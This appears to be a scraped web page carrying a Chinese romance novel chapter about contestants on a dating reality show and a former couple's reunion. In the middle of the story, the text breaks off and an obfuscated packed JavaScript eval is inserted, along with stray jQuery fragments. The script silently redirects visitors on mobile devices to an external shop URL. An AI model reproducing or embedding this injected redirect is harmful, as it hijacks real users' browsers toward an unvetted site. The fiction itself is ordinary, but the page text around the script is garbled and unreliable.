艺术家对待艺术都有自己的仪式感。
待唱片转动结束后，李珞名熟练地包装好还给了店长。
两人并肩走出唱片店，往巷子尽头走去，静心堂就在这里。
这是一家传统茶馆，屋檐低矮，座位和桌子全都是木制，头顶是繁琐的宫灯，透着暖黄色的灯光，院子里铺着碎石子，两人往院子后面的包间走去，路过墙角的矮松，树下摆着几口小缸，透露着年代感。
包间有晚饭，晚饭就在这里解决。
李珞名先梁若一步拉开椅子，把椅子往外挪了一点，留出一点空，刚好够她坐进去。
“有喜欢喝的茶吗？”他坐下，将菜单推到梁若面前，“你看看你想喝什么？”
“有推荐吗？”梁若看了几眼菜单，又推了回去。
李珞名倒是没再打开，直接问她，“前几天是不是没睡好，那就喝老白茶吧？”
梁若同意了。
这里不愧名叫静心堂，甚至没有音乐，只能听到大自然的声音，虫鸣、风刮过树叶的声音，还有流水声。
哪里来的流水声？
李珞名像是知道她在想什么似的，“院子后头有个小瀑布。”
茶汤在杯中荡漾着青绿色的光，梁若突然想起来，“你怎么知道我前几天没睡好？”
“看出来的。第一天那种环节，很难睡好。”他随意地说，“我就没睡。”
“你怎么没睡？”
“睡不着，满脑子都是那封X的介绍信。”李珞名喝着茶，轻描淡写的不像是自己在失眠，“还有那个箱子，我箱子还没拆，就放在床头，半夜睁开眼睛就看见，干脆就不睡了。”
他一次性说了很多，说完他自己也意识到了，抬手揉了揉后颈。
明明是他们两个人的约会，却总是下意识提起自己的X。
“我也没拆。”梁若突然笑了一下，似乎发现了什么新大陆，“我不敢拆。”
“怎么不敢拆？”
“我怕拆开是我没想过的东西。”梁若端起茶杯，看向支起的窗户外头那个不断流水的缸，水从高处流下，汇入水缸后通过水泵再抽上去，循环往复。
“我有点害怕那种失控感。”她说，“要是我也能像俏俏那样猜中X送的是什么就好了。”
“她拆了？”李珞名喝茶的手一顿，梁若在看着窗外流水，没看到他的动作。
“拆了。”梁若的手圈着茶杯，看着里面深色的液体映出自己的倒影，“她说果然是她想得那样，让我有点羡慕。”
李珞名又不说话了，梁若转过头看他，发现他低头盯着自己的茶杯，不知道在想什么。阳光从明亮的金黄色变成了橙红色，风从窗子底下吹进来，他的衬衫被吹得晃动，阳光透过树叶缝隙落在他的肩上和身上，随着风动明灭不定。
“原来她猜到了啊。”沉默了好一会儿，他才说出这么一句话。
[公开第二对CP]
一个星期前，同一家咖啡厅，摄影机架在角落里，红色指示灯亮着。
摄像机对着两张面对面的沙发，中间放置一个纸巾盒，许白俏扯了下嘴角，节目组的意图简直昭然若揭。
她推门进来的时候，看见李珞名已经在了。
他还是老样子，穿着一件深色的宽大T恤，头发或许是因为上节目，剪得短了一些，显得下颌线很清晰。因为常年在工作室里待着，他的肤色很白，暖黄的灯光只勾勒出他半边侧脸的轮廓，另一半沉在阴影里，让从门口走来的她看不清他的表情。
门打开的瞬间，他抬起头。
许白俏的脚步一顿，随后微笑着走了过来，拉开沙发，在他对面坐下，整个人看起来摇曳生姿。
[事前采访的时候，制作组表示对李珞名采访很难，而对许白俏则十分容易]
[两人是怎么在一起的？]
李珞名沉默了一会儿，像是在翻找记忆里某个很久没碰过的区域，然后用最普通的方式说出来。
“是在一个音乐节。她是负责娱乐报道的记者，我是演出嘉宾。”
他低头拨弄了一下手指，“演出结束她在后台堵住我，说有几个问题想采访。我其实不太喜欢被采访，刚要拒绝，结果她也不管我答没答应，张口就问，问的问题和别人完全不一样。”
“她不问那些客气的套词，她直接问我今天的那首歌中间有一段空白，那段是故意留的还是没词填？”
他笑了一下，“后来才知道，她根本没听过我的歌，那个问题是她炸我的。”
许白俏的解释更加干净利落：“当时听的时候就感觉不对劲，听说他是出了名的不接受采访，而我是个实习记者，不想点办法更不行了。”
“没想到他听到我的那句话愣了一下，眼圈都红了。后来我才知道，他那段空白是为了去世的奶奶留的，为了道歉我给他送了一周的咖啡。”
[恋爱时印象最深的事情？]
“她总是很忙，记者嘛任务很多。但每天不管多晚，她都会给我发一张照片。”
“有时候是下雨时候的红绿灯，有的时候是采访地点的小吃摊，有时候只是一张路灯的照片。”
“我把那些照片都留着，导进电脑里，和我作的曲子放在一起，但后来……”
他没说完。
这个“后来”指的是分手。
许白俏：他不爱说话，喜欢闷在工作室里，后来我们约好了一周必须出来一起吃饭，在外面散步晒太阳。他答应了之后从来没有食言过，有时间我加班甚至还主动来找我，工作上我有问题他会陪我一起讨论，我说的他都能懂......”
[分手的原因？]
李珞名闭上眼：“娱乐圈比较乱，第二年年底有一些乱七八糟的报道，说我和一个合作的女歌手走得很近。”
“她来问我，我说不是她想的那样，她让我解释，我……”
他停顿了很久，忍不住用手扣着自己的手指甲，“我不知道怎么解释。我觉得那就是工作，她应该知道这是娱乐圈通病，喜欢八卦。而且我们在一起那么久，她应该知道我是一个什么样的人......”
PD问，“她让你解释，你解释了吗？”
“没说出口，她在工作室发了好大一场火，其实她发火不是大吼大叫，她把所有的不满一句一句的都说出来。然后站在那里通知我结论，最后说‘我不问了，我再也不问了，我们分手吧’，就走了。”
“第二天我让经纪公司发公告，然后我想联系她的时候，才知道她申请了外派，当天就飞走了。她没告诉我，我是从别人那里问的。”
“我宁愿她跟我拍着桌子吵......”
许白俏听到PD转达了他后来的动作后沉默了好久，然后她说，“我给了他很多次机会解释。其实只要他当初把事情的经过告诉我，不管真相是什么，我都愿意坐下来好好谈。”
PD：后来呢？
“后来......”她换了个姿势，单手搭在膝盖上，“后来我已经不需要一个解释了。”
时间回到节目开始前一周的咖啡店里，这是两人在分手后第一次见面。
“你瘦了，最近工作压力很大吗？”许白俏比预想中更平静。
“……还好。”李珞名移开视线，抬起手从桌子边缘拿起水壶，给两人的杯子倒了水，尽管他自己根本没想喝。
杯子很快满了，他才重新开口，“老样子，工作室和家，两点一线。”
他反问道：“你呢？外派出国这一年，过得好吗？”
这是一个迟到了一整年的问题，一个许白俏当初完全没有给他机会问出口的问题，因为当初她飞机落地后，就换了手机号，决绝地切断了他所有能联系上的方式。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913065|213207||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“还不错。”许白俏利落地说，“学会了很多。”
“嗯。”他应了一声，掩盖似的唇角抿了抿，“你一直都很聪明，学东西快。”
许白俏默默地喝水，一向言语犀利的电视台记者这时候忽然好像丧失了语言能力。
安静在他们之间停了片刻，然后竟然又是李珞名先开口。
“你没有问我为什么来。”他把玻璃杯放下，指腹在杯旁上轻轻蹭着，他低头盯着微微晃动的水面，没有看她，“我收到节目组邀请的时候，本来说不来的......”
“但节目组说你答应了来。”他停顿了一下，似乎在斟酌要怎么说合适，然后还是选择坦诚地摊开这件事，“于是我就来了。”
许白俏听完后挑了挑眉，“节目组跟我说你答应了要来，所以我才来的。”
他明显愣了一下，然后——“噗！”
许白俏的语言神经比他快，“节目组两头骗啊！”
“……多半是。”他抬手揉了揉鼻梁，肩膀松懈下来，整个人往沙发里陷了陷，方才紧绷的空气随着两人这一笑，忽然裂开一道口子。
“所以你想来看看我是不是真的答应了？”许白俏帮他把后半句话补完，然后歪了歪头，“那你现在知道了吧，我们俩都是被骗来的。”
说到这里，李珞名笑容渐渐收拢，声音也变低了，“但来了也好，我不后悔，有些话之前没来得及说，我一直很想见你。”
许白俏没接这句话，反而偏头问他，“你想好接下来怎么和一群陌生人生活在一栋房子里了吗？”
“没想好。”说起这个，李珞名有点丧气。
“你是知道我的，平时一个人待在工作室里，只对着设备和屏幕，那是我最舒服的状态。”他带着点自嘲的语气，“参加这个节目，需要和一群陌生人住在一起，要面对24小时摄像头，还要一起做饭、聊天、玩游戏......天啊，我光想想就觉得累了。”
这档节目的录制强度，比他连续熬几个通宵做音乐还要累。
但他还是来了。
“不过，”李珞名的语气突然变得轻快，“既然已经被骗来了，就当是逼自己从工作室里走出来一次，看看外面的世界，也看看……”
他猛地停住了，那个没说出口的“你”字愣是憋了回去，然后生硬地换了个话题。
“时间差不多了吧。”
他并没有戴手表，也没看一眼手机，他只是凭着直觉，觉得应该时间差不多了。
“接下来在那栋房子里，我们就是陌生人，对吧。”他问道。
许白俏下颌微微收紧，她也跟着站起来，忽然伸出手，在李珞名面前停住了。
“那就重新认识一下。”许白俏看着他说道，表情几乎和李珞名记忆里她第一次采访他的时候重合了，“初次见面，我叫许白俏。”
他的手伸出去，握住她的。
“初次见面，请多关照。”他说。
“请多关照。”他低声又重复了一遍，声音低得只说给自己听。
然后他站在原地，让许白俏先走。
这是李珞名的习惯，以前每次送她出门、每次让她先出电梯，都是这样。
那一瞬间，中间空白、从未见面过的那一年仿佛如同列车急速驶过，从未存在过，他们之间那些属于过去的惯性，在见到对面的时候，无声地亮了起来。
身体比记忆更加迅速地想起过去。
许白俏对他点点头，走向门口，手握住门把手的那一瞬，听见李珞名在身后忽然开口，说出一句挣扎了很久才决定放出来的话。
“短发，很好看。”
许白俏没有回头。
她推开门，走廊里的白光涌进来，将她整个人从回忆里拉扯回现实，然后她低下头，指尖似乎残留着一点余温，她看了一会儿，并没有抹掉它。